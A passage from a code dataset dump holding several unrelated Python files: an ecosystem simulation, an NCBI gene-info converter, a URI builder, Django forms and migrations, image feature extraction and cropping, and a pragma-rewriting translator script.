eaten)\n\n def feed(self, list_herbivores_least_fit):\n \"\"\"\n Iterates list of herbivores then tries to kill them.\n\n Cannot eat animals with greater fitness than themselves.\n Stops feeding when F(appetite) is met.\n\n Creates deletion list with Herbivores, then removes them\n and returns updated list of herbivores.\n\n Parameters\n ----------\n list_herbivores_least_fit : list\n Herbivores in ascending order by fitness\n\n Returns\n -------\n list_herbivores_least_fit : list\n The same list as input, killed herbivores removed\n\n \"\"\"\n eaten = 0\n deletion_list = []\n for herbivore in list_herbivores_least_fit:\n if eaten >= self.F:\n break\n\n if self.fitness <= herbivore.fitness:\n break # kunne breaka\n\n if self.DeltaPhiMax < self.fitness - herbivore.fitness:\n self.eat(herbivore.weight, eaten)\n eaten += herbivore.weight\n deletion_list.append(herbivore)\n\n else:\n if self.kill_or_not(herbivore):\n self.eat(herbivore.weight, eaten)\n eaten += herbivore.weight\n deletion_list.append(herbivore)\n\n for herbivore in deletion_list:\n list_herbivores_least_fit.remove(herbivore)\n return list_herbivores_least_fit\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"src/biosim/animals.py","file_name":"animals.py","file_ext":"py","file_size_in_byte":17000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"17909505","text":"\"\"\" Gene Info update script \"\"\"\nimport gzip\nimport json\nimport sys\nfrom collections import defaultdict\n\nfrom orangecontrib.bioinformatics.ncbi.taxonomy import Taxonomy, common_taxids, common_taxid_to_name\n\n# columns indexes\n# ftp://ftp.ncbi.nlm.nih.gov/gene/README under \"gene_info\" section\n(\n tax_id,\n gene_id,\n symbol,\n locus_tag,\n synonyms,\n db_refs,\n chromosome,\n map_location,\n description,\n type_of_gene,\n symbol_from_nomenclature_authority,\n full_name_from_nomenclature_authority,\n nomenclature_status,\n other_designations,\n modification_date,\n) = range(15)\n\n\ndef pipe_delimited_to_list(value: str) -> list:\n return [val for val in value.split('|') if val and val != '-']\n\n\ndef parse_db_refs(value: str) -> dict:\n \"\"\" Parse source string from NCBI gene info.\n\n ftp://ftp.ncbi.nlm.nih.gov/gene/DATA/README:\n\n pipe-delimited set of identifiers in other databases\n for this gene. The unit of the set is database:value.\n Note that HGNC and MGI include 'HGNC' and 'MGI', respectively,\n in the value part of their identifier.\n\n Consequently, dbXrefs for these databases will appear like: HGNC:HGNC:1100\n This would be interpreted as database='HGNC', value='HGNC:1100'\n\n\n Args:\n value (str): string of gene sources\n\n Returns:\n :obj:`dict`: Keys are source names, values are source ids\n\n \"\"\"\n external_ids = value.split('|')\n out_dict = {}\n\n for ref in external_ids:\n if ref != '-':\n source_dest, source_id = ref.split(':', 1)\n out_dict[source_dest] = source_id\n\n return out_dict\n\n\ndef load_homologs():\n file_name = 'homologene.tab'\n\n with open(f'data/homologene/{file_name}', 'r') as fp:\n _homologs = {l[2]: tuple(l) for l in [line.strip().split('\\t') for line in fp.readlines()]}\n _homologs_by_group = defaultdict(list)\n\n for _, (hid, tax, gid) in _homologs.items():\n _homologs_by_group[hid].append((hid, tax, gid))\n\n return _homologs, _homologs_by_group\n\n\ndef gene_info_to_dict(gene_data: tuple):\n homology_group = homologs.get(str(gene_data[gene_id]), [None])[0]\n homolog_genes = {tax: gid for (_, tax, gid) in homologs_by_group.get(homology_group, [])\n if homology_group and tax != gene_data[tax_id]}\n return {\n 'species': common_taxid_to_name(to_species[gene_data[tax_id]]),\n 'tax_id': gene_data[tax_id],\n 'gene_id': gene_data[gene_id],\n 'symbol': gene_data[symbol],\n 'synonyms': pipe_delimited_to_list(gene_data[synonyms]),\n 'db_refs': parse_db_refs(gene_data[db_refs]),\n 'description': gene_data[description] if gene_data[description] != '-' else None,\n 'locus_tag': gene_data[locus_tag] if gene_data[locus_tag] != '-' else None,\n 'chromosome': gene_data[chromosome] if gene_data[chromosome] != '-' else None,\n 'map_location': gene_data[map_location] if gene_data[map_location] != '-' else None,\n 'type_of_gene': gene_data[type_of_gene] if gene_data[type_of_gene] != '-' else None,\n 'symbol_from_nomenclature_authority':\n gene_data[symbol_from_nomenclature_authority]\n if gene_data[symbol_from_nomenclature_authority] != '-'\n else None,\n 'full_name_from_nomenclature_authority':\n gene_data[full_name_from_nomenclature_authority]\n if gene_data[full_name_from_nomenclature_authority] != '-'\n else None,\n 'nomenclature_status': gene_data[nomenclature_status] if gene_data[nomenclature_status] != '-' else None,\n 'other_designations': pipe_delimited_to_list(gene_data[other_designations]),\n 'modification_date': gene_data[modification_date],\n 'homology_group_id': homology_group,\n 'homologs': homolog_genes\n }\n\n\ndef load_gene_info(file_path: str) -> dict:\n with gzip.open(file_path, 'rb') as info_file:\n # skip header\n info_file.readline()\n\n # store lines in memory\n genes_by_species = defaultdict(list)\n for line in info_file:\n info = tuple(line.decode().strip().split('\\t'))\n species = to_species.get(info[tax_id], None)\n\n if species is not None:\n genes_by_species[species].append(info)\n\n return genes_by_species\n\n\ndef to_json(species: str) -> None:\n data = [gene_info_to_dict(gene) for gene in gene_info.get(species, [])]\n\n with open(f'data/gene/{species}.json', 'w', encoding='utf-8') as fp:\n json.dump(data, fp, ensure_ascii=False, indent=2) # separators=(',', ':')\n\n\nif __name__ == \"__main__\":\n taxonomy_db = Taxonomy()\n supported_taxonomies = [[tax] + taxonomy_db.get_all_strains(tax) for tax in common_taxids()]\n to_species = {tax: taxonomy_db.get_species(tax) for strains in supported_taxonomies for tax in strains}\n\n gene_info = load_gene_info(sys.argv[1])\n homologs, homologs_by_group = load_homologs()\n\n for tax in common_taxids():\n to_json(tax)\n","sub_path":"update_scripts/gene.py","file_name":"gene.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"235997552","text":"import ipaddress\nimport numbers\nimport re\n\nfrom collections import Iterable, Mapping\n\nfrom .chars import SUB_DELIMS\nfrom .encoding import uriencode, uriencode_plus, idnencode\nfrom .split import uriunsplit\n\n# RFC 3986 3.1: scheme = ALPHA *( ALPHA / DIGIT / \"+\" / \"-\" / \".\" )\n_SCHEME_RE = re.compile(r\"\\A[A-Za-z][A-Za-z0-9+.-]*\\Z\")\n\n# RFC 3986 3.2: authority = [ userinfo \"@\" ] host [ \":\" port ]\n_AUTHORITY_RE_STRING = re.compile(r\"\\A(?:(.*)@)?(.*?)(?::([0-9]*))?\\Z\")\n\ndef _scheme(scheme):\n if not scheme:\n return None\n if _SCHEME_RE.match(scheme):\n return scheme.lower()\n else:\n raise ValueError('Invalid scheme component')\n\n\ndef _authority(userinfo, host, port, encoding):\n authority = []\n\n if userinfo is not None:\n authority.append(uriencode(userinfo, ':', encoding))\n authority.append('@')\n\n if host is not None and host != '':\n if isinstance(host, ipaddress.IPv6Address):\n if isinstance('', bytes):\n iphost = host.compressed.encode('ascii')\n else:\n iphost = host.compressed\n authority.append('[' + iphost + ']')\n elif isinstance(host, ipaddress.IPv4Address):\n if isinstance('', bytes):\n iphost = host.compressed.encode('ascii')\n else:\n iphost = host.compressed\n authority.append(iphost)\n else:\n authority.append(_host(host))\n\n if isinstance(port, numbers.Number):\n authority.append(_port(str(port)))\n elif isinstance(port, type('')):\n authority.append(_port(port))\n\n return ''.join(authority) if authority else None\n\n\ndef _ip_literal(address):\n if address.startswith('v'):\n raise ValueError('Address mechanism not supported')\n else:\n if isinstance(address , bytes):\n address = address.decode('utf-8')\n iphost = ipaddress.IPv6Address(address).compressed.encode('ascii')\n else:\n iphost = ipaddress.IPv6Address(address).compressed\n return '[' + iphost + ']'\n\n\ndef _host(host):\n # RFC 3986 3.2.3: Although host is case-insensitive, producers and\n # normalizers should use lowercase for registered names and\n # hexadecimal addresses for the sake of uniformity, while only\n # using uppercase letters for percent-encodings.\n if host.startswith('[') and host.endswith(']'):\n return _ip_literal(host[1:-1])\n # check for IPv6 addresses as returned by SplitResult.gethost()\n try:\n return _ip_literal(host)\n except ValueError:\n return idnencode(host)\n\n\ndef _port(port):\n # RFC 3986 3.2.3: URI producers and normalizers should omit the\n # port component and its \":\" delimiter if port is empty or if its\n # value would be the same as that of the scheme's default.\n if port.lstrip('0123456789'):\n raise ValueError('Invalid port subcomponent')\n elif port:\n return ':' + port\n else:\n return ''\n\n\ndef _querylist(items, encoding='utf-8', safe=''):\n if len(items) == 0:\n return None\n terms = []\n append = terms.append\n for key, value in items:\n name = uriencode_plus(key, safe, encoding)\n if value is None:\n append(name)\n else:\n if isinstance(value, numbers.Number):\n value = str(value)\n elif not isinstance(value, type('')):\n value.encode(encoding)\n append(name + '=' + uriencode_plus(value, safe, encoding))\n return '&'.join(terms)\n\n\ndef _querydict(mapping, encoding='utf-8', safe=''):\n items = []\n for key, value in mapping.items():\n if isinstance(value, type('')):\n items.append((key, value))\n elif isinstance(value, Iterable):\n items.extend([(key, v) for v in value])\n else:\n items.append((key, value))\n return _querylist(items, encoding, safe)\n\n\ndef uricompose(scheme=None, authority=None, path='', query=None,\n fragment=None, userinfo=None, host=None, port=None,\n encoding='utf-8'):\n \"\"\"Compose a URI string from its individual components.\"\"\"\n\n # RFC 3986 3.1: Scheme names consist of a sequence of characters\n # beginning with a letter and followed by any combination of\n # letters, digits, plus (\"+\"), period (\".\"), or hyphen (\"-\").\n # Although schemes are case-insensitive, the canonical form is\n # lowercase and documents that specify schemes must do so with\n # lowercase letters. An implementation should accept uppercase\n # letters as equivalent to lowercase in scheme names (e.g., allow\n # \"HTTP\" as well as \"http\") for the sake of robustness but should\n # only produce lowercase scheme names for consistency.\n scheme = _scheme(scheme)\n\n # authority must be string type or three-item iterable\n if authority is None:\n authority = (None, None, None)\n #elif isinstance(authority, bytes):\n # authority = _AUTHORITY_RE_BYTES.match(authority).groups()\n elif isinstance(authority, type('')):\n authority = _AUTHORITY_RE_STRING.match(authority).groups()\n elif not isinstance(authority, Iterable):\n raise TypeError('Invalid authority type')\n elif len(authority) != 3:\n raise ValueError('Invalid authority length')\n authority = _authority(\n userinfo if userinfo is not None else authority[0],\n host if host is not None else authority[1],\n port if port is not None else authority[2],\n encoding\n )\n\n # RFC 3986 3.3: If a URI contains an authority component, then the\n # path component must either be empty or begin with a slash (\"/\")\n # character. If a URI does not contain an authority component,\n # then the path cannot begin with two slash characters (\"//\").\n path = uriencode(path, '/:@+,', encoding)\n if authority is not None and path and not path.startswith('/'):\n raise ValueError('Invalid path with authority component')\n if authority is None and path.startswith('//'):\n raise ValueError('Invalid path without authority component')\n\n # RFC 3986 4.2: A path segment that contains a colon character\n # (e.g., \"this:that\") cannot be used as the first segment of a\n # relative-path reference, as it would be mistaken for a scheme\n # name.\n if scheme is None and authority is None and not path.startswith('/'):\n if ':' in path.partition('/')[0]:\n path = '/' + path\n\n # RFC 3986 3.4: The characters slash (\"/\") and question mark (\"?\")\n # may represent data within the query component. Beware that some\n # older, erroneous implementations may not handle such data\n # correctly when it is used as the base URI for relative\n # references (Section 5.1), apparently because they fail to\n # distinguish query data from path data when looking for\n # hierarchical separators. However, as query components are often\n # used to carry identifying information in the form of \"key=value\"\n # pairs and one frequently used value is a reference to another\n # URI, it is sometimes better for usability to avoid percent-\n # encoding those characters.\n if isinstance(query, type('')) and query:\n query = uriencode_plus(query, '=&;@,', encoding)\n elif isinstance(query, Mapping):\n query = _querydict(query, encoding)\n elif isinstance(query, Iterable):\n query = _querylist(query, encoding)\n elif query is not None:\n raise TypeError('Invalid query type')\n\n # RFC 3986 3.5: The characters slash (\"/\") and question mark (\"?\")\n # are allowed to represent data within the fragment identifier.\n # Beware that some older, erroneous implementations may not handle\n # this data correctly when it is used as the base URI for relative\n # references.\n if fragment is not None:\n fragment = uriencode_plus(fragment, '@,', encoding)\n\n return uriunsplit((scheme, authority, path, query, fragment))\n","sub_path":"urilib/compose.py","file_name":"compose.py","file_ext":"py","file_size_in_byte":7933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"56797832","text":"from django import forms\nfrom djsocial_tools.models import UserStatus\nfrom models import Event, Location\n\n\nclass EventForm(forms.ModelForm):\n class Meta:\n model = Event\n exclude = ('user_profile', )\n widgets = {\n 'title': forms.TextInput(attrs={'class': 'span3', 'placeholder': 'Enter a title'}),\n 'description': forms.Textarea(attrs={'class': 'span5', 'placeholder': 'Enter a description'}),\n }\n\n\nclass LocationForm(forms.ModelForm):\n class Meta:\n model = Location\n exclude = ('user_profile', 'favorite_by', 'user')\n widgets = {\n 'description': forms.Textarea(attrs={'class': 'span5', 'placeholder': 'Enter a description'}),\n }\n\n\nclass SimpleSearchForm(forms.Form):\n term = forms.CharField()\n\n\nclass UserStatusForm(forms.ModelForm):\n class Meta:\n model = UserStatus\n exclude = ('user', 'created')\n widgets = {\n 'content': forms.Textarea(attrs={'class': 'span5', 'placeholder': 'Say something'}),\n }\n","sub_path":"djsocial_tools/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"265876464","text":"import numpy as np\nimport cv2\nfrom skimage.feature import local_binary_pattern\nimport sys\nimport regions as rg\n\nohta = np.array([\n [ 1/3, 1/3, 1/3 ],\n [ 1/2, 0., -1/2 ],\n [ -1/4, 1/2, -1/4 ]\n])\n\ndef get_regions(img, p=100):\n return rg.to_regions(img, p)\n\ndef subsample_idx(sample_size, label):\n x = np.where(label > 0)[0]\n y = np.where(label == 0)[0]\n if len(x) == 0:\n return np.random.choice(len(label), size=sample_size, replace=False)\n else:\n white = sample_size // 4\n black = sample_size - white\n ws = np.random.choice(x, size=white, replace=False)\n bs = np.random.choice(y, size=black, replace=False)\n return np.hstack((ws, bs))\n\n# def create_binary_pattern(img, p, r):\n# #print ('[INFO] Computing local binary pattern features.')\n# lbp = local_binary_pattern(img, p, r)\n# return (lbp-np.min(lbp))/(np.max(lbp)-np.min(lbp)) * 255\n\ndef get_features_labels(img, label, raw=False, train=True, reshape=True):\n if raw:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n num_examples = 10000 # number of examples per image to use for training model\n\n feature_img = np.zeros((img.shape[0], img.shape[1], 4), dtype=np.uint32)\n # feature_img[:,:,:3] = img.dot(ohta.T)\n feature_img[:,:,:3] = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n feature_img[:,:,3] = local_binary_pattern(img_gray, 8, 2, method='nri_uniform')\n if reshape:\n features = feature_img.reshape(feature_img.shape[0]*feature_img.shape[1], feature_img.shape[2])\n else:\n features = feature_img\n if train == True:\n ss_idx = subsample_idx(num_examples, label.ravel())\n features = features[ss_idx]\n else:\n ss_idx = []\n if train == True:\n labels = label.ravel()[ss_idx]\n else:\n labels = None\n return features, labels\n\nif __name__ == '__main__':\n img = cv2.imread(sys.argv[1])\n label = cv2.imread(sys.argv[1], 0)\n print('start')\n np.set_printoptions(threshold=sys.maxsize)\n regs = get_regions(img, 800)\n f = get_features(img, regs)\n l = get_labels(label, regs)\n print(f)\n print(l)\n print(f.shape, l.shape)\n","sub_path":"cotton_srv/scripts/features_full.py","file_name":"features_full.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"236255439","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0017_auto_20160818_1239'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='TicketResposta',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('resposta', models.TextField(max_length=9999)),\n ('data_resposta', models.DateTimeField(default=datetime.datetime(2016, 8, 18, 12, 57, 5, 448614))),\n ('ticket', models.ForeignKey(to='app.Ticket')),\n ('usuario', models.ForeignKey(blank=True, to='app.Usuario', null=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='ticket',\n name='aberto',\n field=models.BooleanField(default=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='ticket',\n name='data_abertura',\n field=models.DateTimeField(default=datetime.datetime(2016, 8, 18, 12, 57, 5, 447526)),\n preserve_default=True,\n ),\n ]\n","sub_path":"app/migrations/0018_auto_20160818_1257.py","file_name":"0018_auto_20160818_1257.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"17731785","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\nfrom skimage.transform import resize\n\ndef crop_and_return_min_mn_for_a_folder(folder_name):\n # for resize\n min_m_for_all,min_n_for_all=0,0\n files=get_all_files_in_folder(folder_name)\n i=0\n for file in files:\n full_file_name=folder_name+\"/\"+file\n print(file,end=\" \" )\n print(full_file_name)\n\n try:\n\n im_rgb=plt.imread(full_file_name)\n im_bw=convert_rgb_to_bw(im_rgb)\n mbr=get_MBR_from_a_bwImage(im_bw)\n im_bw_cropped=crop_an_image_by_new_mn(im_bw,mbr)\n if(i==0):\n\n min_m_for_all,min_n_for_all=im_bw_cropped.shape\n else:\n if (min_m_for_all>im_bw_cropped.shape[0]):\n min_m_for_all=im_bw_cropped.shape[0]\n if (min_n_for_all>im_bw_cropped.shape[1]):\n min_n_for_all=im_bw_cropped.shape[1]\n\n new_file_name=file[0:-4] + \"_cropped\" + file[-4:]\n print(\"_cropped\")\n full_file_name=new_path+\"/\"+new_file_name\n plt.imsave(full_file_name,im_bw_cropped,cmap='gray')\n # print(new_file_name)\n except:\n print(\"error in \"+file)\n print(\" finished ...\")\n\n return min_m_for_all,min_n_for_all\ndef convert_rgb_to_bw(im_rbg):\n try :\n\n im_rbg=im_rbg/np.max(im_rbg)\n\n m=im_rbg.shape[0]\n n=im_rbg.shape[1]\n my_new_image=np.zeros((m,n),dtype=int)\n\n for row in range(m):\n for column in range(n):\n s=im_rbg[row,column,0]/3+im_rbg[row,column,1]/3+im_rbg[row,column,2]/3\n img_avg=np.mean(im_rbg)\n img_std=np.std(im_rgb)\n # diff_to_0=s-0\n # diff_to_1=np.abs(1-diff_to_0)\n\n if sbiggest_m):\n biggest_m=i\n\n # for smallest biggest n\n smallest_n=n\n biggest_n=0\n for i in range(m):\n for j in range(n):\n intensity=im_bw[i,j]\n if (intensity==0 and jbiggest_n):\n biggest_n=j\n smallest_n,biggest_n\n smallest_m,biggest_m\n\n m1,m2,n1,n2=smallest_m,biggest_m,smallest_n,biggest_n\n\n return m1,m2,n1,n2\ndef crop_an_image_by_new_mn(im_bw,mbr):\n\n m1,m2,n1,n2=mbr[0],mbr[1],mbr[2],mbr[3]\n\n m,n=m2-m1,n2-n1\n my_new_image=np.zeros((m,n),dtype=int)\n my_new_image=im_bw[m1:m2+1,n1:n2+1]\n\n return my_new_image\ndef my_cropp_process():\n data_folder_1=r\"/home/thmyris/Desktop/tes/170401001\"\n print(\"took address\")\n files=get_my_files(data_folder_1)\n print(\"got files\", files)\n for file in files:\n\n full_file_name=data_folder_1+\"/\"+file\n\n im_1=plt.imread(full_file_name)\n im_2=convert_rgb_to_bw(im_1)\n # (im_1.ndim,im_1.shape),(im_2.ndim,im_2.shape)\n mbr=get_MBR_from_a_bwImage(im_2)\n im_3=crop_an_image_by_new_mn(im_2,mbr)\n\n size=(200,200)\n\n im_4=resize(im_3,size)\n\n\n # (im_3.ndim,im_3.shape)\n\n # plt.subplot(1,3,1),plt.imshow(im_1)\n # plt.subplot(1,3,2),plt.imshow(im_2,cmap='gray')\n # plt.subplot(1,3,3),plt.imshow(im_3,cmap='gray')\n # plt.show()\n\n a=file\n #a=\"1234567890.png\"\n i=len(a)-4\n b=a[0:-4]+\"_cropped_\"+a[i:]\n print(a)\n print(b)\n full_file_name=data_folder_1+\"/\"+b\n full_file_name\n\n plt.imsave(full_file_name,im_4,cmap='gray')\ndef convert_rgb_to_bw(im_rbg):\n\n im_rbg=im_rbg/np.max(im_rbg)\n # m,n,k=im_rbg.shape\n m=im_rbg.shape[0]\n n=im_rbg.shape[1]\n\n my_new_image=np.zeros((m,n),dtype=int)\n my_new_image=my_new_image+1\n\n for row in range(m):\n for column in range(n):\n\n s=im_rbg[row,column,0]/3+im_rbg[row,column,1]/3+im_rbg[row,column,2]/3\n\n diff_to_0=s-0\n diff_to_1=np.abs(1-diff_to_0)\n\n if diff_to_00):\r\n\t\t\tif(program[k-1].find('__Fluid__') != -1):\r\n\t\t\t\tclass_list.append(class_name)\r\n\t\t\t\tclass_pos.append(line)\r\n\r\ni = 0;\r\n\r\nf_tmpc = open('tmp.cpp',\"w\")\r\nf_tmph = open('tmp.h',\"w\")\r\n##deal with the #pragma\r\nwhile(i('+var_name+'_counter);'\r\n\t\t\telse:\r\n\t\t\t\tif((st.find('(') != -1) and (st.find(')') != -1)):\r\n\t\t\t\t\tthis_line_res = shrink + '{\\n' + shrink + '\\t' + st +'\\n' + shrink + '\\t(*counter)++;\\n' + shrink + '}'\r\n\t\t\t\telse:\r\n\t\t\t\t\tthis_line_res = shrink+st\r\n\t\t\t#print(this_line_res+'\\n')\r\n\r\n\t\tif(line.find('#pragma valve') != -1):\r\n\t\t\tpos = line.find('#pragma valve') + 13\r\n\t\t\tst = line[line.find('{',pos)+1:line.find('}',pos)]\r\n\t\t\t#print(st+'\\n')\r\n\t\t\tstt = st.split()\r\n\t\t\tii=0\r\n\t\t\twhile(len(stt[ii]) == 0):\r\n\t\t\t\tii = ii+1\r\n\t\t\tvalve_name = stt[ii]\r\n\t\t\tii=ii+1\r\n\t\t\twhile(len(stt[ii]) == 0):\r\n\t\t\t\tii = ii+1\r\n\t\t\tvar_name = stt[ii]\r\n\t\t\tif(var_name[-1] == ';'):\r\n\t\t\t\tvar_name = var_name[:-1]\r\n\r\n\t\t\tthis_line_res = shrink+valve_name+' '+var_name+';'\r\n\t\t\t#print(this_line_res+'\\n')\r\n\r\n\t\tif(line.find('#pragma Stable') != -1):\r\n\t\t\tpos = line.find('#pragma Stable')\r\n\t\t\tst = line[pos:line.rfind('}',pos)+1]\r\n\t\t\tpos = line.find('#pragma Stable') + 14\r\n\t\t\tstt = line[line.find('{',pos)+1:line.find('}',pos)]\r\n\t\t\tthis_line_res = line.replace(st,stt+'\\n'+shrink+'int stable;')\r\n\t\t\t#print(st)\r\n\t\t\t#print(stt)\r\n\t\t\t#print(this_line_res+'\\n')\r\n\t\t\t#print(st+'\\n')\r\n\r\n\t\tprogram[i] = this_line_res\t\r\n\tif(i0 and lv2>0):\r\n\t\t\tscope_lv = scope_lv+1\r\n\t\tif(line[ii]=='}' and lv1>0 and lv2>0):\r\n\t\t\tscope_lv = scope_lv-1\r\n\tif(scope_lv == 0):\r\n\t\tcurr_scope = ''\r\n\r\n\tif(line.find('__Fluid__') != -1):\r\n\t\tst = program[i+1]\r\n\t\tif(st.find('class') != -1):\r\n\t\t\tpos = st.find('class')+5\r\n\t\t\tstt = st[pos:].split()\r\n\t\t\tst = stt[0]\r\n\t\t\tpos = 0\r\n\t\t\tclass_name = ''\r\n\t\t\twhile(pos>>') != -1):\r\n\t\tprint(line)\r\n\t\tthis_line_res = ''\r\n\t\tshrink = line[:line.find(line.strip())]\r\n\t\tkernel = line[line.find('<<<')+3:line.find('>>>')]\r\n\t\tfunc = line[line.find('>>>')+3:].strip()\r\n\r\n\t\tguard = kernel.split(',',1)[0]\r\n\t\tguard = guard.strip()\r\n\r\n\t\tst = kernel.split(',',1)[1]\r\n\t\tst = st.strip()\r\n\t\tj=0;\r\n\t\twhile(st[j] != '{'):\r\n\t\t\tj = j + 1\r\n\t\tlv=1\r\n\t\tvalve_st = st[j+1:]\r\n\t\tpos = j + 1\r\n\t\tj=0\r\n\t\twhile(j0):\r\n\t\t\tif(valve_st[j] == '{'):\r\n\t\t\t\tlv = lv + 1\r\n\t\t\tif(valve_st[j] == '}'):\r\n\t\t\t\tlv = lv - 1\r\n\t\t\tj = j + 1\r\n\t\tif(lv == 0):\r\n\t\t\tvalve_st = valve_st[0:j-1].strip()\r\n\t\t\tkernel = st[j+pos:] ##update kernel\r\n\t\t#print(valve_st)\r\n\t\t#print(kernel)\r\n\t\tvalve_list = [-1]\r\n\t\tj = 0\r\n\t\tlv = 0\r\n\t\twhile(j'+valve_para+';\\n'\r\n\t\t\t\tvalves = valves + 'v'+str(global_valve)+'_, '\r\n\t\t\t\tglobal_valve = global_valve + 1\r\n\t\t\telif(valve_name == 'ValveST'):\r\n\t\t\t\tstable_flag = 1\r\n\t\t\telif(valve_name != ''):\r\n\t\t\t\tthis_line_res = this_line_res+shrink+'auto v'+str(global_valve)+'_ = '+valve_name+'.init'+valve_para+';\\n'\r\n\t\t\t\tvalves = valves + 'v'+str(global_valve)+'_, '\r\n\t\t\t\tglobal_valve = global_valve + 1\r\n\r\n\t\tif(stable_flag == 1):\r\n\t\t\tvalve_para = valve_para[1:-1].strip()\r\n\t\t\tii=0\r\n\t\t\tlv=0\r\n\t\t\ttt=0\r\n\t\t\twhile(ii') > stable_add.rfind('.')):\r\n\t\t\t\tstable_sta = stable_add[:stable_add.rfind('->')+2]+'stable'\r\n\t\t\telse:\r\n\t\t\t\tstable_sta = stable_add[:stable_add.rfind('.')+1]+'stable'\r\n\r\n\t\t\tthis_line_res = this_line_res + shrink + 'if(('+stable_sta+' <= '+theshold+')||(RAND_ST)) {\\n'\r\n\t\t\tthis_line_res = this_line_res + shrink + '\\tauto tmp = '+stable_add+';\\n'\r\n\t\t\tthis_line_res = this_line_res + shrink + '\\t'+func+'\\n'\r\n\t\t\tthis_line_res = this_line_res + shrink + '\\tif('+stable_add+' == tmp)\\n'\r\n\t\t\tthis_line_res = this_line_res + shrink + '\\t\\t'+stable_sta+'++;\\n'\r\n\t\t\tthis_line_res = this_line_res + shrink + '\\telse\\n'\r\n\t\t\tthis_line_res = this_line_res + shrink + '\\t\\t'+stable_sta+' = 0;\\n'+shrink+'}\\n'+shrink+'else\\n'+shrink+'\\t'+stable_sta+'++;\\n'\r\n\t\telse:\r\n\t\t\tif(valves == '{'):\r\n\t\t\t\tvalves = valves + '}'\r\n\t\t\telse:\r\n\t\t\t\tvalves = valves[:-2] + '}' ###done with valves\r\n\r\n\t\t\tkernel = kernel[kernel.find(',')+1:].strip()\r\n\t\t\tproducer = kernel[kernel.find('{'):kernel.find('}')+1]\r\n\t\t\tkernel = kernel[kernel.find('}')+1:].strip()\r\n\t\t\tcall_num = ''\r\n\t\t\tif(kernel.find(',') != -1):\r\n\t\t\t\tcall_num = kernel[kernel.find(',')+1:].strip()\r\n\t\t\telse:\r\n\t\t\t\tcall_num = ''\r\n\t\t\tfunc_name = func[:func.find('(')].strip()\r\n\t\t\tfunc_para = func[func.find('(')+1:func.rfind(')')].strip()\r\n\r\n\t\t\tif(call_num != ''):\r\n\t\t\t\tinsert_func.append(func_name+';;;;;;'+scope_name[i])\r\n\t\t\t\t#insert_class.append(scope_name[i])\r\n\t\t\t\tthis_line_res = this_line_res + shrink + 'auto tpb__'+guard+' = std::bind(&'+scope_name[i]+'::'+func_name+', this, '+func_para+', std::placeholders::_1);\\n'\r\n\t\t\t\tthis_line_res = this_line_res + shrink + 'auto tp__'+guard+' = tf->newTask(\"Task\", tpb__'+guard+', '+call_num+'->p);\\n'\r\n\t\t\t\tthis_line_res = this_line_res + shrink + 'Guard* '+guard+' = gs->newGuard(\"Guard\", '+valves+', tp__'+guard+', '+producer+');\\n'\r\n\t\t\telse:\r\n\t\t\t\tthis_line_res = this_line_res + shrink + 'auto tpb__'+guard+' = std::bind(&'+scope_name[i]+'::'+func_name+', this, '+func_para+');\\n'\r\n\t\t\t\tthis_line_res = this_line_res + shrink + 'auto tp__'+guard+' = tf->newTask(\"Task\", tpb__'+guard+');\\n'\r\n\t\t\t\tthis_line_res = this_line_res + shrink + 'Guard* '+guard+' = gs->newGuard(\"Guard\", '+valves+', tp__'+guard+', '+producer+');\\n'\r\n\r\n\t\tprogram[i] = this_line_res\r\n\r\n\r\n\r\n\r\n\r\n\t\t#print(valves)\r\n\r\n\t\tprint(this_line_res)\r\n\r\n\r\n\ti = i + 1\r\n\r\n\r\n##insert call_num in function\r\nfunc_set = set(insert_func)\r\nfunc_list2 = list(func_set)\r\nprint('============================')\r\n\r\nfor i in range(len(func_list2)):\r\n\tfunc_name = func_list2[i].split(';;;;;;')[0]\r\n\tclass_name = func_list2[i].split(';;;;;;')[1]\r\n\tprint(func_name+';;;'+class_name)\r\n\r\n\t#change in class claim\r\n\tpos_st = class_pos[class_list.index(class_name)].rstrip()\r\n\t#print pos_st\r\n\t#print(pos_st.split('a'))\r\n\tii = 0\r\n\ttt = 0\r\n\twhile(ii0 and lv2>0):\r\n\t\t\t\tlv = lv+1\r\n\t\t\tif(line[iii]=='}' and lv1>0 and lv2>0):\r\n\t\t\t\tlv = lv-1\r\n\t\tii = ii + 1\r\n\t\r\n\tii = ii - 1\r\n\tst = program[ii]\r\n\t#print(st)\r\n\tst = st[:st.rfind(')')] + ', int *counter);'\t\r\n\tprint(st)\r\n\tprogram[ii] = st\r\n\r\n\tii = 0\r\n\ttt = 0\r\n\twhile(iinewTask(\"End\", &nullfun, NULL);\\n' + shrink + 'gs->sync(tpend);\\n'\r\n\t\tprogram[i] = this_line_res\r\n\t\r\n\t\r\n\r\n\t\r\n\t\r\n\r\n\r\nfor i in range(len(class_list)):\r\n\tprint(class_list[i] + ' ' + str(class_pos[i]))\r\n\r\nfor i in range(len(program)):\r\n\tline = program[i]\r\n\tif(i= str_size):\n sub_line = line[:str_size].upper()\n if (sub_line == compared):\n line = \"\"\n for col2 in range(0, col):\n nrecords = nrecords + 1\n if 